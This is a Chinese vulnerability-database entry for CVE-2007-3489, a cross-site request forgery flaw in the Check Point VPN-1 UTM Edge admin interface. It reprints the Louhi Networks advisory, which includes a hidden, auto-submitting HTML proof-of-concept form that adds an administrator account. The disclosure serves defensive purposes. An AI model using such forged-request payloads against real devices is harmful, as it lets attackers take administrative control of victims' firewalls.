Check Point VPN-1 UTM Edge 跨站请求伪造漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1190003 漏洞类型 未知
发布时间 2007-06-29 更新时间 2007-06-29
CVE编号 CVE-2007-3489 CNNVD-ID CNNVD-200706-544
漏洞平台 N/A CVSS评分 9.3
|漏洞来源
https://www.securityfocus.com/bid/85639
https://cxsecurity.com/issue/WLB-2007070003
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200706-544
|漏洞详情
CheckPointVPN-1UTMEdge中的CheckPointVPN-1EdgeXEmbeddedNGX7.0.33x中管理界面的pop/WizU.html存在跨站请求伪造漏洞。远程攻击者可以作为管理员身份执行特权操作,例如swuuser和swupass参数的请求可以增加管理员账号。
|漏洞EXP
                          Louhi Networks Oy
                       -= Security Advisory =-

Advisory: Checkpoint VPN-1 UTM Edge Cross Site Request Forgery
  Release Date: 2007/06/26
Last Modified: 2007/06/26
       Authors: Henri Lindberg, Associate of (ISC)² [henri.lindberg (at) louhi (dot) fi [email concealed]]
                Jussi Vuokko, CISSP [jussi.vuokko (at) louhi (dot) fi [email concealed]]

Application: Checkpoint VPN-1 Edge X Embedded NGX 7.0.33x
                (Other versions of the same software might be affected.)
       Devices: Checkpoint VPN-1 UTM Edge
      Severity: Cross site request forgery in management interface
          Risk: Moderate
Vendor Status: Vendor has released an updated version
    References: http://www.louhi.fi/advisory/checkpoint_070626.txt

Overview:

Quote from http://www.checkpoint.com/
    "VPN-1 UTM Edge appliances deliver unified threat management to
     enterprises with branch offices and simplify security deployments
     and manageability. VPN-1 UTM Edge appliances consolidate proven
     enterprise-class technology into a single branch office solution
     that does not compromise the corporate network and eliminates the
     branch office as your weakest link. As part of Check Point's Unified
     Security Architecture, VPN-1 UTM Edge can enforce a global security
     policy and allows administrators to manage and update thousands of
     appliances as easily as managing one."

During an audit of VPN-1 UTM Edge it was discovered that a cross site
    request forgery vulnerability exists in the management interface.
    Thus, it is possible for an attacker to perform any administrative
    actions in the management interface. These include e.g. adding
    additional admin users.

Details:

Checkpoint VPN-1 Edge Embedded device management interface does not
    validate the origin of an HTTP request. If attacker is able to make
    user visit a hostile web page, a VPN-1 Edge device can be controlled
    by submitting suitable forms. It is possible to add new users for
    example.

Successful attack requires that the attacker knows the management
    interface address for the target device. As the management interface
    does not have logout functionality, user can be vulnerable to this
    attack even after closing a tab containing the management interface
    (if user does not close the browser window or clear cookies and
    depending on browser behaviour).

Proof of Concept:

Example form (adds new read-only administrator):

<html>
    <body onload="document.CSRF.submit()">
    <form name="CSRF" method="post"
     action="https://fw.example.com/pop/WizU.html "style="display:none">

<input name="swstate" value="WizU1">
    <input name="swtosave" value="1">
    <input name="swback" value="0">
    <input name="swindex" value="-1">
    <input name="swuuser" value="evil-user">
    <input name="swupass" value="password">
    <input name="swuexp" value="0">
    <input name="swuday" value="4">
    <input name="swumonth" value="5">
    <input name="swuyear" value="2008">
    <input name="swuhour" value="03">
    <input name="swumin" value="11">
    <input name="swuampm" value="1">
    <input name="swuacc" value="1">
    <input name="swuvpn" value="0">
    <input name="swuufp" value="0">
    <input name="swuhot" value="0">
    <input name="tacc" value="1">

</form>
    </body>
    </html>

Workaround:

Update to new version.

More information

http://en.wikipedia.org/wiki/Cross-site_request_forgery

Disclosure Timeline:

7. June 2007      - Contacted Checkpoint by email
    26. June 2007     - Vendor released an updated version
    26. June 2007     - Advisory was released

Copyright 2007 Louhi Networks Oy. All rights reserved.
|受影响的产品
Checkpoint Vpn-1 Utm Edge 7.0.33 Utm Edge
|参考资料

来源:VUPEN
名称:ADV-2007-2363
链接:http://www.frsirt.com/english/advisories/2007/2363
来源:SECUNIA
名称:25853
链接:http://secunia.com/advisories/25853
来源:BUGTRAQ
名称:20070627CheckPointVPN-1UTMEdgeCrossSiteRequestForgeryvulnerability
链接:http://www.securityfocus.com/archive/1/archive/1/472371/100/0/threaded
来源:MISC
链接:http://www.louhi.fi/advisory/checkpoint_070626.txt
来源:XF
名称:checkpoint-vpn1edge-unspecified-csrf(35103)
链接:http://xforce.iss.net/xforce/xfdb/35103
来源:SREASON
名称:2848
链接:http://securityreason.com/securityalert/2848